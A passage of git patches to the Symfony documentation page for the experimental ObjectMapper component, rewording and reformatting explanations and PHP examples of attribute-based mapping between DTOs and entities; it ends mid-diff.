+        // Define where 'name' should get its value from in the Payload source
+        #[Map(source: 'product_name')]
+        public string $name = ''; // Target property uses camelCase
+
+        // Define where 'price' should get its value from
+        #[Map(source: 'price_amount')]
+        public float $price = 0.0;
+    }
+
+    // Usage:
+    $payload = new Payload();
+    $payload->product_name = 'Super Widget';
+    $payload->price_amount = 123.45;
+
+    $mapper = new ObjectMapper();
+    // Map *from* the payload *to* the Product class
+    $product = $mapper->map($payload, Product::class);
+
+    // $product->name = 'Super Widget'
+    // $product->price = 123.45
+
+When using ``source`` mapping, the ``ObjectMapper`` detects this configuration if
+the source object itself doesn't have ``#[Map]`` attributes pointing outwards. It
+then reads the ``#[Map(source: ...)]`` attributes from the target class instead.
+
+Handling Recursion
+------------------
+
+The ObjectMapper automatically handles recursive relationships. If an object graph
+contains cycles (e.g., a ``User`` has a ``manager`` which is another ``User``,
+who might manage the first user), the mapper will reuse the already mapped target
+instances to avoid infinite loops.
+
+::
+
+    // src/Entity/User.php
+    namespace App\Entity;
+    use App\Dto\UserDto;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+
+    #[Map(target: UserDto::class)]
+    class User {
+        public string $name = '';
+        public ?User $manager = null;
+    }
+
+::
+
+    // src/Dto/UserDto.php
+    namespace App\Dto;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+
+    #[Map(source: \App\Entity\User::class)] // Can also define mapping here
+    class UserDto {
+        public string $name = '';
+        public ?UserDto $manager = null;
+    }
+
+    // Usage:
+    $manager = new User();
+    $manager->name = 'Alice';
+    $employee = new User();
+    $employee->name = 'Bob';
+    $employee->manager = $manager;
+    // Manager's manager is the employee:
+    $manager->manager = $employee;
+
+    $mapper = new ObjectMapper();
+    $employeeDto = $mapper->map($employee, UserDto::class);
+
+    // Recursion is handled correctly:
+    // $employeeDto->name === 'Bob'
+    // $employeeDto->manager->name === 'Alice'
+    // $employeeDto->manager->manager === $employeeDto
+
+Custom Mapping Logic (MapStruct-like Approach)
+----------------------------------------------
+
+For very complex mapping scenarios or if you prefer separating mapping rules from
+your DTOs/Entities, you can implement a custom mapping strategy using the
+:class:`Symfony\\Component\\ObjectMapper\\Metadata\\ObjectMapperMetadataFactoryInterface`.
+This allows defining mapping rules within dedicated "mapper" services, similar
+to the approach used by libraries like MapStruct in the Java ecosystem.
+
+First, create your custom metadata factory. The following example reads mapping
+rules defined via ``#[Map]`` attributes on a dedicated mapper *service* class,
+specifically on its ``map`` method for property mappings and on the class itself
+for the source-to-target relationship:
+
+::
+
+    namespace App\ObjectMapper\Metadata;
+
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+    use Symfony\Component\ObjectMapper\Metadata\Mapping;
+    use Symfony\Component\ObjectMapper\Metadata\ObjectMapperMetadataFactoryInterface;
+    use Symfony\Component\ObjectMapper\ObjectMapperInterface;
+
+    /**
+     * A Metadata factory that implements basics similar to MapStruct.
+     * Reads mapping configuration from attributes on a dedicated mapper service.
+     */
+    final class MapStructMapperMetadataFactory implements ObjectMapperMetadataFactoryInterface
+    {
+        /**
+         * @param class-string<ObjectMapperInterface> $mapperClass The FQCN of the mapper service class
+         */
+        public function __construct(private readonly string $mapperClass)
+        {
+            if (!is_a($this->mapperClass, ObjectMapperInterface::class, true)) {
+                throw new \RuntimeException(sprintf('Mapper class "%s" must implement "%s".', $this->mapperClass, ObjectMapperInterface::class));
+            }
+        }
+
+        public function create(object $object, ?string $property = null, array $context = []): array
+        {
+            try {
+                $refl = new \ReflectionClass($this->mapperClass);
+            } catch (\ReflectionException $e) {
+                throw new \RuntimeException("Failed to reflect mapper class: " . $e->getMessage(), 0, $e);
+            }
+
+            $mapConfigs = [];
+            $sourceIdentifier = $property ?? $object::class;
+
+            // Read attributes from the map method (for property mapping) or the class (for class mapping)
+            $attributesSource = $property ? $refl->getMethod('map') : $refl;
+            foreach ($attributesSource->getAttributes(Map::class, \ReflectionAttribute::IS_INSTANCEOF) as $attribute) {
+                $map = $attribute->newInstance();
+
+                // Check if the attribute's source matches the current property or source class
+                if ($map->source === $sourceIdentifier) {
+                    $mapConfigs[] = new Mapping($map->target, $map->source, $map->if, $map->transform);
+                }
+            }
+
+            // If it's a property lookup and no specific mapping was found, map to the same property
+            if ($property && empty($mapConfigs)) {
+                $mapConfigs[] = new Mapping(target: $property, source: $property);
+            }
+
+            return $mapConfigs;
+        }
+    }
+
+Next, define your mapper service class. This class implements
+``ObjectMapperInterface`` but typically delegates the actual mapping back to a
+standard ``ObjectMapper`` instance configured with the custom metadata factory.
+Mapping rules are defined using ``#[Map]`` attributes on this class and its
+``map`` method:
+
+::
+
+    namespace App\ObjectMapper;
+
+    use App\Dto\LegacyUser;
+    use App\Dto\UserDto;
+    use App\ObjectMapper\Metadata\MapStructMapperMetadataFactory;
+    use Symfony\Component\ObjectMapper\Attribute\Map;
+    use Symfony\Component\ObjectMapper\ObjectMapper;
+    use Symfony\Component\ObjectMapper\ObjectMapperInterface;
+
+    // Define the source-to-target mapping at the class level
+    #[Map(source: LegacyUser::class, target: UserDto::class)]
+    class LegacyUserMapper implements ObjectMapperInterface
+    {
+        private readonly ObjectMapperInterface $objectMapper;
+
+        // Inject the standard ObjectMapper or necessary dependencies
+        public function __construct(?ObjectMapperInterface $objectMapper = null)
+        {
+            // Create an ObjectMapper instance configured with *this* mapper's rules
+            $metadataFactory = new MapStructMapperMetadataFactory(self::class);
+            $this->objectMapper = $objectMapper ?? new ObjectMapper($metadataFactory);
+        }
+
+        // Define property-specific mapping rules on the map method
+        #[Map(source: 'fullName', target: 'name')] // Map LegacyUser::fullName to UserDto::name
+        #[Map(source: 'creationTimestamp', target: 'registeredAt', transform: [\DateTimeImmutable::class, 'createFromFormat'])]
+        #[Map(source: 'status', if: false)] // Ignore the 'status' property from LegacyUser
+        public function map(object $source, object|string|null $target = null): object
+        {
+            // Delegate the actual mapping to the configured ObjectMapper
+            return $this->objectMapper->map($source, $target);
+        }
+    }
+
+Finally, use your custom mapper service:
+
+::
+
+    use App\Dto\LegacyUser;
+    use App\ObjectMapper\LegacyUserMapper;
+
+    $legacyUser = new LegacyUser();
+    $legacyUser->fullName = 'Jane Doe';
+    $legacyUser->status = 'active'; // This will be ignored
+
+    // Instantiate your custom mapper service
+    $mapperService = new LegacyUserMapper();
+
+    // Use the map method of your service
+    $userDto = $mapperService->map($legacyUser); // Target (UserDto) is inferred from #[Map] on LegacyUserMapper
+
+This approach keeps mapping logic centralized within dedicated services, which
+can be beneficial for complex applications or when adhering to specific architectural
+patterns.
+
+Advanced Configuration
+----------------------
+
+The ``ObjectMapper`` constructor accepts optional arguments for further customization:
+
+* ``ObjectMapperMetadataFactoryInterface $metadataFactory``: Allows providing a custom metadata factory, as shown in the MapStruct example. Defaults to :class:`Symfony\\Component\\ObjectMapper\\Metadata\\ReflectionObjectMapperMetadataFactory`, which reads ``#[Map]`` attributes directly from source/target classes.
+* ``?PropertyAccessorInterface $propertyAccessor``: An instance of the PropertyAccess component to customize how properties are read from the source and written to the target. Useful for accessing private properties or using getters/setters.
+* ``?ContainerInterface $transformCallableLocator``: A PSR-11 container (service locator) used to resolve service IDs provided in the ``transform`` option of ``#[Map]``.
+* ``?ContainerInterface $conditionCallableLocator``: A PSR-11 container used to resolve service IDs provided in the ``if`` option of ``#[Map]``.
+
+When using the ``ObjectMapperInterface`` service provided by the Symfony framework,
+these dependencies (like the property accessor and service locators for callables)
+are typically configured automatically via the service container.

From 5b70521d762c1215f435e630e9cea30a7a9b1b3f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 May 2025 10:29:14 +0200
Subject: [PATCH 5609/5766] Tweaks and fixes

---
 object-mapper.rst => object_mapper.rst | 399 +++++++++++++------------
 1 file changed, 204 insertions(+), 195 deletions(-)
 rename object-mapper.rst => object_mapper.rst (62%)

diff --git a/object-mapper.rst b/object_mapper.rst
similarity index 62%
rename from object-mapper.rst
rename to object_mapper.rst
index f46ab732110..fe7db2365cf 100644
--- a/object-mapper.rst
+++ b/object_mapper.rst
@@ -1,32 +1,31 @@
 Object Mapper
 =============
 
-Symfony provides a mapper component to transform a given object into another one,
-simplifying tasks like converting DTOs (Data Transfer Objects) to entities or
-vice-versa. It may also be useful when decoupling API input/output from internal
-models helping with legacy code or hexagonal architectures implementations.
+.. versionadded:: 7.3
 
-.. versionadded:: 7.2
+    The ObjectMapper component was introduced in Symfony 7.3 as an
+    :doc:`experimental feature </contributing/code/experimental>`.
 
-    The ObjectMapper component is experimental. Experimental features are not
-    covered by the backward compatibility promise.
+This component transforms one object into another, simplifying tasks such as
+converting DTOs (Data Transfer Objects) into entities or vice versa. It can also
+be helpful when decoupling API input/output from internal models, particularly
+when working with legacy code or implementing hexagonal architectures.
 
 Installation
 ------------
 
-Run this command to install the ``object-mapper`` component before using it:
+Run this command to install the component before using it:
 
 .. code-block:: terminal
 
     $ composer require symfony/object-mapper
 
-Using the ObjectMapper
-----------------------
-
-Once installed, the object mapper service can be injected into any service or
-controller where you need it:
+Usage
+-----
 
-::
+The object mapper service will be :doc:`autowired </service_container/autowiring>`
+automatically in controllers or services when type-hinting for
+:class:`Symfony\\Component\\ObjectMapper\\ObjectMapperInterface`::
 
     // src/Controller/UserController.php
     namespace App\Controller;
@@ -53,15 +52,14 @@ controller where you need it:
 Basic Mapping
 -------------
 
-The core functionality is provided by the ``map()`` method. It takes a source
-object and maps its properties onto a target. The target can be either a
-class name (a new instance will be created) or an existing object instance.
+The core functionality is provided by the ``map()`` method. It accepts a
+source object and maps its properties to a target. The target can either be
+a class name (to create a new instance) or an existing object (to update it).
 
-**Mapping to a New Object:**
+Mapping to a New Object
+~~~~~~~~~~~~~~~~~~~~~~~
 
-Provide the target class name as the second argument:
-
-::
+Provide the target class name as the second argument::
 
     use App\Dto\ProductInput;
     use App\Entity\Product;
@@ -72,17 +70,16 @@ Provide the target class name as the second argument:
     $productInput->sku = 'WM-1024';
 
     $mapper = new ObjectMapper();
-    // Creates a new Product instance and maps properties from $productInput
+    // creates a new Product instance and maps properties from $productInput
     $product = $mapper->map($productInput, Product::class);
 
     // $product is now an instance of Product
     // with $product->name = 'Wireless Mouse' and $product->sku = 'WM-1024'
 
-**Mapping to an Existing Object:**
-
-Provide an existing object instance as the second argument to update it:
+Mapping to an Existing Object
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-::
+Provide an existing object instance as the second argument to update it::
 
     use App\Dto\ProductUpdateInput;
     use App\Entity\Product;
@@ -94,16 +91,16 @@ Provide an existing object instance as the second argument to update it:
     $updateInput->price = 99.99;
 
     $mapper = new ObjectMapper();
-    // Updates the existing $product instance
+    // updates the existing $product instance
     $mapper->map($updateInput, $product);
 
     // $product->price is now 99.99
 
-**Mapping from ``stdClass``:**
+Mapping from ``stdClass``
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The source object can also be an instance of ``stdClass``:
-
-::
+The source object can also be an instance of ``stdClass``. This can be
+useful when working with decoded JSON data or loosely typed input::
 
     use App\Entity\Product;
     use Symfony\Component\ObjectMapper\ObjectMapper;
@@ -120,14 +117,13 @@ The source object can also be an instance of ``stdClass``:
 Configuring Mapping with Attributes
 -----------------------------------
 
-The ObjectMapper uses PHP attributes to configure the mapping process. The
-primary attribute is :class:`Symfony\\Component\\ObjectMapper\\Attribute\\Map`.
-
-**Defining the Default Target Class:**
+ObjectMapper uses PHP attributes to configure how properties are mapped.
+The primary attribute is :class:`Symfony\\Component\\ObjectMapper\\Attribute\\Map`.
 
-Apply ``#[Map]`` to the source class to define its default mapping target:
+Defining the Default Target Class
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-::
+Apply ``#[Map]`` to the source class to define its default mapping target::
 
     // src/Dto/ProductInput.php
     namespace App\Dto;
@@ -142,21 +138,22 @@ Apply ``#[Map]`` to the source class to define its default mapping target:
         public string $sku = '';
     }
 
-    // Now you can call map() without the second argument if ProductInput is the source:
+    // now you can call map() without the second argument if ProductInput is the source:
     $mapper = new ObjectMapper();
     $product = $mapper->map($productInput); // Maps to Product automatically
 
-**Configuring Property Mapping:**
+Configuring Property Mapping
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Apply ``#[Map]`` to properties to customize their mapping behavior.
+You can apply the ``#[Map]`` attribute to properties to customize their mapping behavior:
 
-* ``target``: Specifies the name of the property in the target object.
+* ``target``: Specifies the name of the property in the target object;
 * ``source``: Specifies the name of the property in the source object (useful
-    when mapping is defined on the target, see below).
-* ``if``: Defines a condition for mapping the property.
+    when mapping is defined on the target, see below);
+* ``if``: Defines a condition for mapping the property;
 * ``transform``: Applies a transformation to the value before mapping.
 
-::
+This is how it looks in practice::
 
     // src/Dto/OrderInput.php
     namespace App\Dto;
@@ -167,30 +164,29 @@ Apply ``#[Map]`` to properties to customize their mapping behavior.
     #[Map(target: Order::class)]
     class OrderInput
     {
-        // Map 'customerEmail' from source to 'email' in target
+        // map 'customerEmail' from source to 'email' in target
         #[Map(target: 'email')]
         public string $customerEmail = '';
 
-        // Do not map this property at all
+        // do not map this property at all
         #[Map(if: false)]
         public string $internalNotes = '';
 
-        // Only map 'discountCode' if it's a non-empty string
-        #[Map(if: 'strlen')] // Uses the built-in strlen function as a condition
+        // only map 'discountCode' if it's a non-empty string
+        // (uses PHP's strlen() function as a condition)
+        #[Map(if: 'strlen')]
         public ?string $discountCode = null;
     }
 
-By default, if a property exists in the source but not in the target, it's
-ignored. If a property exists in both and has no ``#[Map]`` attribute, it's
-mapped directly if the names match.
+By default, if a property exists in the source but not in the target, it is
+ignored. If a property exists in both and no ``#[Map]`` is defined, the mapper
+assumes a direct mapping when names match.
 
-**Conditional Mapping with Services:**
+Conditional Mapping with Services
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 For complex conditions, you can use a dedicated service implementing
-:class:`Symfony\\Component\\ObjectMapper\\ConditionCallableInterface`. The service
-name (its class name by default) is passed to the ``if`` parameter:
-
-::
+:class:`Symfony\\Component\\ObjectMapper\\ConditionCallableInterface`::
 
     // src/ObjectMapper/IsShippableCondition.php
     namespace App\ObjectMapper;
@@ -206,12 +202,12 @@ name (its class name by default) is passed to the ``if`` parameter:
     {
         public function __invoke(mixed $value, object $source, ?object $target): bool
         {
-            // Example: Only map shipping address if order total is above 50
+            // example: Only map shipping address if order total is above 50
             return $source->total > 50;
         }
     }
 
-::
+Then, pass the service name (its class name by default) to the ``if`` parameter::
 
     // src/Dto/OrderInput.php
     namespace App\Dto;
@@ -233,17 +229,17 @@ For this to work, ``IsShippableCondition`` must be registered as a service.
 
 .. _object_mapper-conditional-property-target:
 
-**Conditional Property Mapping based on Target:**
+Conditional Property Mapping based on Target
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-When a source class can be mapped to multiple target classes, you might want
-to map a specific property only when mapping to a particular target. You can
-achieve this using the :class:`Symfony\\Component\\ObjectMapper\\Condition\\TargetClass`
-condition within the ``if`` parameter on a property's ``#[Map]`` attribute.
+When a source class maps to multiple targets, you may want to include or exclude
+certain properties depending on which target is being used. Use the
+:class:`Symfony\\Component\\ObjectMapper\\Condition\\TargetClass` condition within
+the ``if`` parameter of a property's ``#[Map]`` attribute to achieve this.
 
-This is useful for creating different representations (e.g., public vs. admin)
-from the same source object, offering an alternative to serialization groups.
-
-::
+This pattern is useful for building multiple representations (e.g., public vs. admin)
+from a given source object, and can be used as an alternative to
+:ref:`serialization groups <serializer-groups-attribute>`::
 
     // src/Entity/User.php
     namespace App\Entity;
@@ -253,16 +249,16 @@ from the same source object, offering an alternative to serialization groups.
     use Symfony\Component\ObjectMapper\Attribute\Map;
     use Symfony\Component\ObjectMapper\Condition\TargetClass;
 
-    // This User entity can be mapped to two different DTOs
+    // this User entity can be mapped to two different DTOs
     #[Map(target: PublicUserProfile::class)]
     #[Map(target: AdminUserProfile::class)]
     class User
     {
-        // Map 'lastLoginIp' to 'ipAddress' ONLY when the target is AdminUserProfile
+        // map 'lastLoginIp' to 'ipAddress' ONLY when the target is AdminUserProfile
         #[Map(target: 'ipAddress', if: new TargetClass(AdminUserProfile::class))]
         public ?string $lastLoginIp = '192.168.1.100';
 
-        // Map 'registrationDate' to 'memberSince' for both targets
+        // map 'registrationDate' to 'memberSince' for both targets
         #[Map(target: 'memberSince')]
         public \DateTimeImmutable $registrationDate;
 
@@ -273,24 +269,26 @@ from the same source object, offering an alternative to serialization groups.
 
     // src/Dto/PublicUserProfile.php
     namespace App\Dto;
-    class PublicUserProfile {
+    class PublicUserProfile
+    {
         public \DateTimeImmutable $memberSince;
-        // No $ipAddress property here
+        // no $ipAddress property here
     }
 
     // src/Dto/AdminUserProfile.php
     namespace App\Dto;
-    class AdminUserProfile {
+    class AdminUserProfile
+    {
         public \DateTimeImmutable $memberSince;
-        public ?string $ipAddress = null; // Mapped from lastLoginIp
+        public ?string $ipAddress = null; // mapped from lastLoginIp
     }
 
-    // Usage:
+    // usage:
     $user = new User();
     $mapper = new ObjectMapper();
 
     $publicProfile = $mapper->map($user, PublicUserProfile::class);
-    // No IP address available
+    // no IP address available
 
     $adminProfile = $mapper->map($user, AdminUserProfile::class);
     // $adminProfile->ipAddress = '192.168.1.100'
@@ -298,14 +296,28 @@ from the same source object, offering an alternative to serialization groups.
 Transforming Values
 -------------------
 
-Use the ``transform`` option within ``#[Map]`` to modify a value before it's
-assigned to the target property. The value can be a callable (like a built-in
-PHP function name, a static method, or an anonymous function) or a service
-implementing :class:`Symfony\\Component\\ObjectMapper\\TransformCallableInterface`.
+Use the ``transform`` option within ``#[Map]`` to change a value before it is
+assigned to the target. This can be a callable (e.g., a built-in PHP function,
+static method, or anonymous function) or a service implementing
+:class:`Symfony\\Component\\ObjectMapper\\TransformCallableInterface`.
 
-**Using Callables:**
+Using Callables
+~~~~~~~~~~~~~~~
 
-::
+Consider the following static utility method::
+
+    // src/Util/PriceFormatter.php
+    namespace App\Util;
+
+    class PriceFormatter
+    {
+        public static function format(float $value, object $source): string
+        {
+            return number_format($value, 2, '.', '');
+        }
+    }
+
+You can use that method to format a property when mapping it::
 
     // src/Dto/ProductInput.php
     namespace App\Dto;
@@ -317,31 +329,20 @@ implementing :class:`Symfony\\Component\\ObjectMapper\\TransformCallableInterfac
     #[Map(target: Product::class)]
     class ProductInput
     {
-        // Use a static method from another class for formatting
+        // use a static method from another class for formatting
         #[Map(target: 'displayPrice', transform: [PriceFormatter::class, 'format'])]
         public float $price = 0.0;
 
-        // Can also use simple built-ins
+        // can also use built-in PHP functions
         #[Map(transform: 'intval')]
         public string $stockLevel = '100';
     }
 
-::
-
-    // src/Util/PriceFormatter.php
-    namespace App\Util;
-    class PriceFormatter {
-        public static function format(float $value, object $source): string {
-            return number_format($value, 2, '.', '');
-        }
-    }
-
-**Using Transformer Services:**
+Using Transformer Services
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Similar to conditions, complex transformations can be encapsulated in services
-implementing :class:`Symfony\\Component\\ObjectMapper\\TransformCallableInterface`.
-
-::
+implementing :class:`Symfony\\Component\\ObjectMapper\\TransformCallableInterface`::
 
     // src/ObjectMapper/FullNameTransformer.php
     namespace App\ObjectMapper;
@@ -361,7 +362,7 @@ implementing :class:`Symfony\\Component\\ObjectMapper\\TransformCallableInterfac
         }
     }
 
-::
+Then, use this service to format the mapped property::
 
     // src/Dto/UserInput.php
     namespace App\Dto;
@@ -373,24 +374,22 @@ implementing :class:`Symfony\\Component\\ObjectMapper\\TransformCallableInterfac
     #[Map(target: User::class)]
     class UserInput
     {
-        // This property's value will be generated by the transformer
+        // this property's value will be generated by the transformer
         #[Map(target: 'fullName', transform: FullNameTransformer::class)]
         public string $firstName = '';
 
         public string $lastName = '';
     }
 
-**Class-Level Transformation:**
+Class-Level Transformation
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can apply a ``transform`` callable at the class level. This callable is
-executed *after* the target object is initially created (if the target is a
-class name we use ``newInstanceWithoutConstructor``) but *before* properties
-are mapped. Its responsibility is often to return a correctly initialized
-instance, potentially replacing the one created by the mapper.
-The returned value *must* be an object of the target type or else an
-exception will be thrown.
-
-::
+You can define a transformation at the class level using the ``transform``
+parameter on the ``#[Map]`` attribute. This callable runs *after* the target
+object is created (if the target is a class name, ``newInstanceWithoutConstructor``
+is used), but *before* any properties are mapped. It must return a correctly
+initialized instance of the target class (replacing the one created by the mapper
+if needed)::
 
     // src/Dto/LegacyUserData.php
     namespace App\Dto;
@@ -398,7 +397,7 @@ exception will be thrown.
     use App\Entity\User;
     use Symfony\Component\ObjectMapper\Attribute\Map;
 
-    // Use a static factory method on the target User class for instantiation
+    // use a static factory method on the target User class for instantiation
     #[Map(target: User::class, transform: [User::class, 'createFromLegacy'])]
     class LegacyUserData
     {
@@ -406,15 +405,17 @@ exception will be thrown.
         public string $name = '';
     }
 
-::
+And the related target object must define the ``createFromLegacy()`` method::
 
     // src/Entity/User.php
     namespace App\Entity;
-    class User {
+    class User
+    {
         public string $name = '';
         private int $legacyId = 0;
 
-        private function __construct() {} // Private constructor
+        // uses a private constructor to avoid direct instantiation
+        private function __construct() {}
 
         public static function createFromLegacy(mixed $value, object $source): self
         {
@@ -422,7 +423,8 @@ exception will be thrown.
             // $source is the LegacyUserData object
             $user = new self();
             $user->legacyId = $source->userId;
-            // Property mapping will happen *after* this method returns $user
+
+            // property mapping will happen *after* this method returns $user
             return $user;
         }
     }
@@ -433,9 +435,7 @@ Mapping Multiple Targets
 A source class can be configured to map to multiple different target classes.
 Apply the ``#[Map]`` attribute multiple times at the class level, typically
 using the ``if`` condition to determine which target is appropriate based on the
-source object's state or other logic.
-
-::
+source object's state or other logic::
 
     // src/Dto/EventInput.php
     namespace App\Dto;
@@ -456,146 +456,155 @@ source object's state or other logic.
          */
         public static function isOnline(?mixed $value, object $source): bool
         {
-            return $source->type === 'online';
+            return 'online' === $source->type;
         }
 
         public static function isPhysical(?mixed $value, object $source): bool
         {
-            return $source->type === 'physical';
+            return 'physical' === $source->type;
         }
     }
 
-    // src/Entity/OnlineEvent.php / PhysicalEvent.php ...
+    // consider that the src/Entity/OnlineEvent.php and PhysicalEvent.php
+    // files exist and define the needed classes
 
-    // Usage:
+    // usage:
     $eventInput = new EventInput();
     $eventInput->type = 'physical';
     $mapper = new ObjectMapper();
-    $event = $mapper->map($eventInput); // Automatically maps to PhysicalEvent
+    $event = $mapper->map($eventInput); // automatically maps to PhysicalEvent
 
 Mapping Based on Target Properties (Source Mapping)
 ---------------------------------------------------
 
-Sometimes, it's more convenient to define the mapping on the *target* class,
-specifying where its properties should come from in the *source* class. This is
-done using the ``source`` parameter within the ``#[Map]`` attribute on the target's
-properties.
+Sometimes, it's more convenient to define how a target object should retrieve
+its values from a source, especially when working with external data formats.
+This is done using the ``source`` parameter in the ``#[Map]`` attribute on the
+target class's properties.
 
 Note that if both the ``source`` and the ``target`` classes define the ``#[Map]``
 attribute, the ``source`` takes precedence.
 
-::
+Consider the following class that stores the data obtained form an external API
+that uses snake_case property names::
 
-    // src/Api/Payload.php - Represents data from an external API
+    // src/Api/Payload.php
     namespace App\Api;
+
     class Payload
     {
-        public string $product_name = ''; // Source property name uses snake_case
+        public string $product_name = '';
         public float $price_amount = 0.0;
     }
 
-::
+In your application, classes use camelCase for property names, so you can map
+them as follows::
 
-    // src/Entity/Product.php - Our application's entity
+    // src/Entity/Product.php
     namespace App\Entity;
 
     use App\Api\Payload;
     use Symfony\Component\ObjectMapper\Attribute\Map;
 
-    // Define that Product can be mapped *from* Payload
+    // define that Product can be mapped from Payload
     #[Map(source: Payload::class)]
     class Product
     {
-        // Define where 'name' should get its value from in the Payload source
+        // define where 'name' should get its value from in the Payload source
         #[Map(source: 'product_name')]
-        public string $name = ''; // Target property uses camelCase
+        public string $name = '';
 
-        // Define where 'price' should get its value from
+        // define where 'price' should get its value from
         #[Map(source: 'price_amount')]
         public float $price = 0.0;
     }
 
-    // Usage:
+Using it in practice::
+
     $payload = new Payload();
     $payload->product_name = 'Super Widget';
     $payload->price_amount = 123.45;
 
     $mapper = new ObjectMapper();
-    // Map *from* the payload *to* the Product class
+    // map from the payload to the Product class
     $product = $mapper->map($payload, Product::class);
 
     // $product->name = 'Super Widget'
     // $product->price = 123.45
 
-When using ``source`` mapping, the ``ObjectMapper`` detects this configuration if
-the source object itself doesn't have ``#[Map]`` attributes pointing outwards. It
-then reads the ``#[Map(source: ...)]`` attributes from the target class instead.
+When using source-based mapping, the ``ObjectMapper`` will automatically use the
+target's ``#[Map(source: ...)]`` attributes if no mapping is defined on the
+source class.
 
 Handling Recursion
 ------------------
 
-The ObjectMapper automatically handles recursive relationships. If an object graph
-contains cycles (e.g., a ``User`` has a ``manager`` which is another ``User``,
-who might manage the first user), the mapper will reuse the already mapped target
-instances to avoid infinite loops.
-
-::
+The ObjectMapper automatically detects and handles recursive relationships between
+objects (e.g., a ``User`` has a ``manager`` which is another ``User``, who might
+manage the first user). When it encounters previously mapped objects in the graph,
+it reuses the corresponding target instances to prevent infinite loops::
 
     // src/Entity/User.php
     namespace App\Entity;
+
     use App\Dto\UserDto;
     use Symfony\Component\ObjectMapper\Attribute\Map;
 
     #[Map(target: UserDto::class)]
-    class User {
+    class User
+    {
         public string $name = '';
         public ?User $manager = null;
     }
 
-::
+The target DTO object defines the ``User`` class as its source and the
+ObjectMapper component detects the cyclic reference::
 
     // src/Dto/UserDto.php
     namespace App\Dto;
+
     use Symfony\Component\ObjectMapper\Attribute\Map;
 
-    #[Map(source: \App\Entity\User::class)] // Can also define mapping here
-    class UserDto {
+    #[Map(source: \App\Entity\User::class)] // can also define mapping here
+    class UserDto
+    {
         public string $name = '';
         public ?UserDto $manager = null;
     }
 
-    // Usage:
+Using it in practice::
+
     $manager = new User();
     $manager->name = 'Alice';
     $employee = new User();
     $employee->name = 'Bob';
     $employee->manager = $manager;
-    // Manager's manager is the employee:
+    // manager's manager is the employee:
     $manager->manager = $employee;
 
     $mapper = new ObjectMapper();
     $employeeDto = $mapper->map($employee, UserDto::class);
 
-    // Recursion is handled correctly:
+    // recursion is handled correctly:
     // $employeeDto->name === 'Bob'
     // $employeeDto->manager->name === 'Alice'
     // $employeeDto->manager->manager === $employeeDto
 
-Custom Mapping Logic (MapStruct-like Approach)
-----------------------------------------------
+.. _objectmapper-custom-mapping-logic:
+
+Custom Mapping Logic
+--------------------
 
 For very complex mapping scenarios or if you prefer separating mapping rules from
 your DTOs/Entities, you can implement a custom mapping strategy using the
 :class:`Symfony\\Component\\ObjectMapper\\Metadata\\ObjectMapperMetadataFactoryInterface`.
-This allows defining mapping rules within dedicated "mapper" services, similar
+This allows defining mapping rules within dedicated mapper services, similar
 to the approach used by libraries like MapStruct in the Java ecosystem.
 
 First, create your custom metadata factory. The following example reads mapping
-rules defined via ``#[Map]`` attributes on a dedicated mapper *service* class,
+rules defined via ``#[Map]`` attributes on a dedicated mapper service class,
 specifically on its ``map`` method for property mappings and on the class itself
-for the source-to-target relationship:
-
-::
+for the source-to-target relationship::
 
     namespace App\ObjectMapper\Metadata;
 
@@ -631,18 +640,18 @@ for the source-to-target relationship:
             $mapConfigs = [];
             $sourceIdentifier = $property ?? $object::class;
 
-            // Read attributes from the map method (for property mapping) or the class (for class mapping)
+            // read attributes from the map method (for property mapping) or the class (for class mapping)
             $attributesSource = $property ? $refl->getMethod('map') : $refl;
             foreach ($attributesSource->getAttributes(Map::class, \ReflectionAttribute::IS_INSTANCEOF) as $attribute) {
                 $map = $attribute->newInstance();
 
-                // Check if the attribute's source matches the current property or source class
+                // check if the attribute's source matches the current property or source class
                 if ($map->source === $sourceIdentifier) {
                     $mapConfigs[] = new Mapping($map->target, $map->source, $map->if, $map->transform);
                 }
             }
 
-            // If it's a property lookup and no specific mapping was found, map to the same property
+            // if it's a property lookup and no specific mapping was found, map to the same property
             if ($property && empty($mapConfigs)) {
                 $mapConfigs[] = new Mapping(target: $property, source: $property);
             }
@@ -651,13 +660,10 @@ for the source-to-target relationship:
         }
     }
 
-Next, define your mapper service class. This class implements
-``ObjectMapperInterface`` but typically delegates the actual mapping back to a
-standard ``ObjectMapper`` instance configured with the custom metadata factory.
-Mapping rules are defined using ``#[Map]`` attributes on this class and its
-``map`` method:
-
-::
+Next, define your mapper service class. This class implements ``ObjectMapperInterface``
+but typically delegates the actual mapping back to a standard ``ObjectMapper``
+instance configured with the custom metadata factory. Mapping rules are defined
+using ``#[Map]`` attributes on this class and its ``map`` method::
 
     namespace App\ObjectMapper;
 
@@ -668,62 +674,65 @@ Mapping rules are defined using ``#[Map]`` attributes on this class and its
     use Symfony\Component\ObjectMapper\ObjectMapper;
     use Symfony\Component\ObjectMapper\ObjectMapperInterface;
 
-    // Define the source-to-target mapping at the class level
+    // define the source-to-target mapping at the class level
     #[Map(source: LegacyUser::class, target: UserDto::class)]
     class LegacyUserMapper implements ObjectMapperInterface
     {
         private readonly ObjectMapperInterface $objectMapper;
 
-        // Inject the standard ObjectMapper or necessary dependencies
+        // inject the standard ObjectMapper or necessary dependencies
         public function __construct(?ObjectMapperInterface $objectMapper = null)
         {
-            // Create an ObjectMapper instance configured with *this* mapper's rules
+            // create an ObjectMapper instance configured with *this* mapper's rules
             $metadataFactory = new MapStructMapperMetadataFactory(self::class);
             $this->objectMapper = $objectMapper ?? new ObjectMapper($metadataFactory);
         }
 
-        // Define property-specific mapping rules on the map method
+        // define property-specific mapping rules on the map method
         #[Map(source: 'fullName', target: 'name')] // Map LegacyUser::fullName to UserDto::name
         #[Map(source: 'creationTimestamp', target: 'registeredAt', transform: [\DateTimeImmutable::class, 'createFromFormat'])]
         #[Map(source: 'status', if: false)] // Ignore the 'status' property from LegacyUser
